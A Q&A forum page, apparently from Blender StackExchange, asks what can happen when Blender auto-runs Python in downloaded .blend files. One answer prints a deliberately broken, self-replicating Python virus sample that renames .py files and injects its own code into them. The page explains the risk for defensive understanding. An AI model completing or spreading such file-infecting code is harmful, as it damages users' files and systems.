I rarely uncheck "Trusted Source" (even when opening files downloaded from sites like this one), what sort of security risks am I leaving my self open to?

I know that with trusted source checked python scripts can automatically run, but what sort of nefarious things can happen?
This question does not shed much light on what could potentially happen.

Is it possible that just by oping a blend file that a virus could get installed?
Examples are welcome.

  • 1
    $\begingroup$ For starters anything that a python script could do to your computer (like wipe your disk) could happen... $\endgroup$ – GiantCowFilms Jan 24 '15 at 18:06
  • $\begingroup$ This is also related $\endgroup$ – sambler Jan 25 '15 at 4:25

Since os and sys modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.

It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.

An example virus by Deque looks like this:

import os
import __main__
import random

def infect(filename):
   os.rename(filename, filename + "~")
   destination = open(filename, "w")
   source = open(filename + "~", "r")
   this = open(__main__.__file__, "r")
   for line in this:
      if line.startswith("#MAGIC_STRING_9348788nkmsd"):
   for line in source:
def is_infected(filename):
   f = open(filename, "x")
   return f.readline().startswith("#MAGIC_STRING_skd83749872")
def find_and_infect_files():
   path = "."
   dirs = os.listdir(path)
   for filename in dirs:
      if filename.endswith(".py") and not is_infected(filename):
print "----------this is silly python virus----------"

This is a "harmless" code able of replicating itself. There is a bug in the code to prevent noobs from running it.

  • 1
    $\begingroup$ In other words, tremendous risk :-| $\endgroup$ – VRM Jan 24 '15 at 18:29

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.